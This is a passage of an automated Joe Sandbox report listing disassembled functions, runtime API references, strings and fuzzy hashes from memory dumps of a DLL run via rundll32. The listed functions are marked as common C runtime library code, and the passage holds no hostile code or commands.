Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 06c95a4aa1771613fd3935f9b6fa3d2226365f91a529870d9feca7c030eab943
Instruction ID: a236a635390231764599b441ca33359ecfb18b4257108ec610f8a3aa5a970b1f
Opcode Fuzzy Hash: 06c95a4aa1771613fd3935f9b6fa3d2226365f91a529870d9feca7c030eab943
Instruction Fuzzy Hash: 01118E30204E4846F6D6632155A53FD5242BB4C7F9F15C724F876177C6EE288B095749

Function 0000000180016F68 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 0000000180017208

Strings

volatile , xrefs: 0000000180016FCF, 0000000180017100
std::nullptr_t , xrefs: 0000000180017198
volatile, xrefs: 0000000180016FDE, 000000018001710F
std::nullptr_t, xrefs: 00000001800171C1

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: 037b52de5d520ae03becac24376554bd3a1233cb3c82c6952893d7c61cf1fdce
Instruction ID: 4038f050409aa154ac6b01109c2d1ae91dabd18faee6e66f8a741a0bb842cd02
Opcode Fuzzy Hash: 037b52de5d520ae03becac24376554bd3a1233cb3c82c6952893d7c61cf1fdce
Instruction Fuzzy Hash: C2716A76701B4898EB968F68D8503EC66B5B30D7C4F94C529FA5907BA6DF39C3A8C340

Function 0000000180018CB8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0000000180018D9A

Strings

`template-parameter, xrefs: 0000000180018DA8
void, xrefs: 0000000180018CFE

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: NameName::
String ID: `template-parameter$void
API String ID: 1333004437-4057429177
Opcode ID: 0be1fb5e2f1216bc1b940a859d571dac6121c46e0836de7767b4ce6883e4aeb3
Instruction ID: 6b3cef5dec8401bd2ebba64d188ad0518e1c0495917126e62d011a98b4116422
Opcode Fuzzy Hash: 0be1fb5e2f1216bc1b940a859d571dac6121c46e0836de7767b4ce6883e4aeb3
Instruction Fuzzy Hash: F5414D32700F5888FB92CBA4E8513ED2371BB5C7C8F959125EE092BB95DF78864AC340

Function 000000018000F874 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018000F8D1
GetLastError.KERNEL32 ref: 000000018000F8DF
LoadLibraryExW.KERNEL32 ref: 000000018000F909
FreeLibrary.KERNEL32 ref: 000000018000F95E

Strings

api-ms-, xrefs: 000000018000F8F1

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$ErrorFreeLast
String ID: api-ms-
API String ID: 3813093105-2084034818
Opcode ID: 220969f90f81ea5a491faac75346ba19894adf6be773f5f6384549e35cdde0f7
Instruction ID: 5e4ab2c16c99f6d0b16bc80479f9834d0d63f7ea8ea22c137d887cbb2cd0e6bc
Opcode Fuzzy Hash: 220969f90f81ea5a491faac75346ba19894adf6be773f5f6384549e35cdde0f7
Instruction Fuzzy Hash: F0217131212A0591EEA6CB56A4007B97294BB4CBF0F59C735BE2957BD5EF38CA499300

Function 000000018000FABC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018000FB11
GetLastError.KERNEL32 ref: 000000018000FB1F
LoadLibraryExW.KERNEL32 ref: 000000018000FB49
FreeLibrary.KERNEL32 ref: 000000018000FB6A

Strings

api-ms-, xrefs: 000000018000FB31

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$ErrorFreeLast
String ID: api-ms-
API String ID: 3813093105-2084034818
Opcode ID: a289e550c52b847aac57570cc03b00b5a0ebd41078ac3d3d573d834e8681df30
Instruction ID: a95981d2bde028957cb7d6165ac678c66b686b579846189090f2e31615455093
Opcode Fuzzy Hash: a289e550c52b847aac57570cc03b00b5a0ebd41078ac3d3d573d834e8681df30
Instruction Fuzzy Hash: C7218E32215B4881EAA6DB5694103B533A4EB8CFF0F5C9335AE2987BD0DF38C6098740

Function 000000018003FF44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000000018003FF69
GetProcAddress.KERNEL32 ref: 000000018003FF7F
FreeLibrary.KERNEL32 ref: 000000018003FFA6

Strings

mscoree.dll, xrefs: 000000018003FF60
CorExitProcess, xrefs: 000000018003FF78

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 30848afdadcb297948af538131b5f5178555a04d7eb4f77c05f8b310286a30c0
Instruction ID: c7829849b2f168159db765faf0b81d1f3368c8563c0f8ad31c6079f03d2a3549
Opcode Fuzzy Hash: 30848afdadcb297948af538131b5f5178555a04d7eb4f77c05f8b310286a30c0
Instruction Fuzzy Hash: 24F06271211B0881EBA28B24E8443BB6360AB4D7E1F648725FA69463E4CF6EC24D8700

Function 0000000180007930 Relevance: 7.8, APIs: 5, Instructions: 326threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000001800079B6

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 22161daed3c2e48cfb6a2128a24651a7aeaf3e7c08b61552abfb125deb73946f
Instruction ID: 3c6318098b6a105b45b44d24200d3ea19cec9be78bcf65ec60f6a028176840a5
Opcode Fuzzy Hash: 22161daed3c2e48cfb6a2128a24651a7aeaf3e7c08b61552abfb125deb73946f
Instruction Fuzzy Hash: 2602CB32619B8486E7A1CB55E4947AAB7B0F3D8794F108016FACE47BA9DF7DC548CB00

Function 000000018000C1F8 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 000000018000C31B
__AdjustPointer.LIBCMT ref: 000000018000C366

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b7f25e227ec73591775f402b439beda8c2004b6fb1d37a0a7765b10afffff269
Instruction ID: 135fc376b1a8cfedf6fd7dae04e6b903f416e55d44e7b02af783c7e71b4be7be
Opcode Fuzzy Hash: b7f25e227ec73591775f402b439beda8c2004b6fb1d37a0a7765b10afffff269
Instruction Fuzzy Hash: 26B19332216A4881EAE7DB559480BFD77A0EB5CBC4F09C426BE4A47785DF38C74AC742

Function 00000001800152B4 Relevance: 7.6, APIs: 5, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 000000018001532F
DName::operator+.LIBVCRUNTIME ref: 0000000180015351
DName::DName.LIBVCRUNTIME ref: 0000000180015360
DName::DName.LIBVCRUNTIME ref: 0000000180015397
DName::DName.LIBVCRUNTIME ref: 00000001800153A2

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: 157e1aa60b488d9254f56a5c3751a730c19624724a7ec1fbf038d5f98596ec9c
Instruction ID: dc3e5c478041bf289d860fee317c83415d36c744b4e48cd64d64fa13d1e4a70b
Opcode Fuzzy Hash: 157e1aa60b488d9254f56a5c3751a730c19624724a7ec1fbf038d5f98596ec9c
Instruction Fuzzy Hash: 77416B36201E58D8EB92CB61E8903EC37B4B719BC5FA48016EAA95B395DF75C759C300

Function 00000001800419D0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000001800401C7,?,?,00000000,00000001800404FE,?,?,?,?,?,000000018004048A), ref: 00000001800419EF
FlsSetValue.KERNEL32(?,?,?,00000001800401C7,?,?,00000000,00000001800404FE,?,?,?,?,?,000000018004048A), ref: 0000000180041A0E
FlsSetValue.KERNEL32(?,?,?,00000001800401C7,?,?,00000000,00000001800404FE,?,?,?,?,?,000000018004048A), ref: 0000000180041A36
FlsSetValue.KERNEL32(?,?,?,00000001800401C7,?,?,00000000,00000001800404FE,?,?,?,?,?,000000018004048A), ref: 0000000180041A47
FlsSetValue.KERNEL32(?,?,?,00000001800401C7,?,?,00000000,00000001800404FE,?,?,?,?,?,000000018004048A), ref: 0000000180041A58

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 157056b5f07e6d5b21f7a52ee4ede94ab6a34c5cf7ed9480ed3c8b7af57ff7d6
Instruction ID: e93ad22c6cc443ae94773b33ba4779df2cc7973ffbf2f88c150105d93498b686
Opcode Fuzzy Hash: 157056b5f07e6d5b21f7a52ee4ede94ab6a34c5cf7ed9480ed3c8b7af57ff7d6
Instruction Fuzzy Hash: 00118E30205E4845FADA672195D63FD22417B4C7F9F0AC724B83A066D6EE28CB29574A

Function 0000000180041520 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 0000000180041538
FlsSetValue.KERNEL32 ref: 0000000180041562
FlsSetValue.KERNEL32 ref: 000000018004158A
FlsSetValue.KERNEL32 ref: 000000018004159B
FlsSetValue.KERNEL32 ref: 00000001800415AC

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 9832f5b7719f7b86fd8c38624eed4aee1a7210bb3eeaaf95e05a674a0a924b3e
Instruction ID: 894476b8d09a22a5dbe3d770f39793525e4cc36c43d7413f8e4abc8b3aeea73a
Opcode Fuzzy Hash: 9832f5b7719f7b86fd8c38624eed4aee1a7210bb3eeaaf95e05a674a0a924b3e
Instruction Fuzzy Hash: C1115470314E0985FADAA73554E27FD12816B8C7F9F19CB24B936062C6ED38CB486749

Function 0000000180041864 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 0000000180041875
FlsSetValue.KERNEL32 ref: 0000000180041894
FlsSetValue.KERNEL32 ref: 00000001800418BC
FlsSetValue.KERNEL32 ref: 00000001800418CD
FlsSetValue.KERNEL32 ref: 00000001800418DE

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 830f67e147a0935bcec4e640bc060abaaf3c4469f6951c3d39c6dccd234fcab0
Instruction ID: e86eebddfadbf209218566a74c72582cf7fff1bf59de2877caf13f980550ab1d
Opcode Fuzzy Hash: 830f67e147a0935bcec4e640bc060abaaf3c4469f6951c3d39c6dccd234fcab0
Instruction Fuzzy Hash: 5B113030204E0D09FADB632144A67FD12416F4D3FEF1ACB28B8350A2C2ED389B096799

Function 0000000180041480 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 0000000180041491
FlsSetValue.KERNEL32 ref: 00000001800414AD
FlsSetValue.KERNEL32 ref: 00000001800414D9
FlsSetValue.KERNEL32 ref: 00000001800414EA
FlsSetValue.KERNEL32 ref: 00000001800414FB

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 43b698f3bd72d782d1a4c4367ab40e0fd6e179516ccf90768e29b969fcb783f7
Instruction ID: 586806abb7160c1286a1b2c9858a8c81ad64b0ece563cba21c458cc6968070c5
Opcode Fuzzy Hash: 43b698f3bd72d782d1a4c4367ab40e0fd6e179516ccf90768e29b969fcb783f7
Instruction Fuzzy Hash: 21110C30604E0949FADB637144A67FD11417F8D3FEF1ACB24B836062D2EE289B096789

Function 000000018000D56C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000000018000D5DC
_CallSETranslator.LIBVCRUNTIME ref: 000000018000D627

Strings

MOC, xrefs: 000000018000D5F0
RCC, xrefs: 000000018000D5F8

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 09b6cd871ff89506528b68077a13dcbbaff50fd9b0353c15b1e87b0f63462aad
Instruction ID: 603ec2f23fa6d6c6a25bd3aeda4f846d3f0b7b81b5b2ff33ca2fe6bf8accc470
Opcode Fuzzy Hash: 09b6cd871ff89506528b68077a13dcbbaff50fd9b0353c15b1e87b0f63462aad
Instruction Fuzzy Hash: 63917F73614B888AE792DB65E8903DD7BA0F3497C8F14811AFB8957755DF38C299CB00

Function 000000018000D2FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000000018000D35B
_CallSETranslator.LIBVCRUNTIME ref: 000000018000D3A7

Strings

MOC, xrefs: 000000018000D36F
RCC, xrefs: 000000018000D377

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 087e7b3c63a88a435a2e6d937ad598ea21859f3271ec1f8e9716eed55fe6bc31
Instruction ID: dfb6a33e339ab0c6007a7a63b5c9da813757f51a8917a400a443b559987f5a56
Opcode Fuzzy Hash: 087e7b3c63a88a435a2e6d937ad598ea21859f3271ec1f8e9716eed55fe6bc31
Instruction Fuzzy Hash: 43615032508BC886E7A2DF15E4407DAB7A0F7897D8F048216FB9857B95DF78D298CB10

Function 000000018000DAEC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000000018000DB14
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000000018000DBFC

Strings

csm, xrefs: 000000018000DC4E
csm, xrefs: 000000018000DB36

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 5368d8b1d24fe0368cc4e10c75a835cf7b4598258ec1be9622bc0c1957234e7a
Instruction ID: 8344979c66b9cceb0b7acf630f590e38be3bd2ff735d44e9d3a026d285abadf4
Opcode Fuzzy Hash: 5368d8b1d24fe0368cc4e10c75a835cf7b4598258ec1be9622bc0c1957234e7a
Instruction Fuzzy Hash: F7518A3210468C8AEBA6CF2594447A977A0F358BC4F14C127FB8947BD5CF78D668CB11

Function 00000001800117A4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00000001800117D5
swprintf.LEGACY_STDIO_DEFINITIONS ref: 0000000180011806
DName::DName.LIBVCRUNTIME ref: 0000000180011814

Strings

%lf, xrefs: 00000001800117B7, 00000001800117F1

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
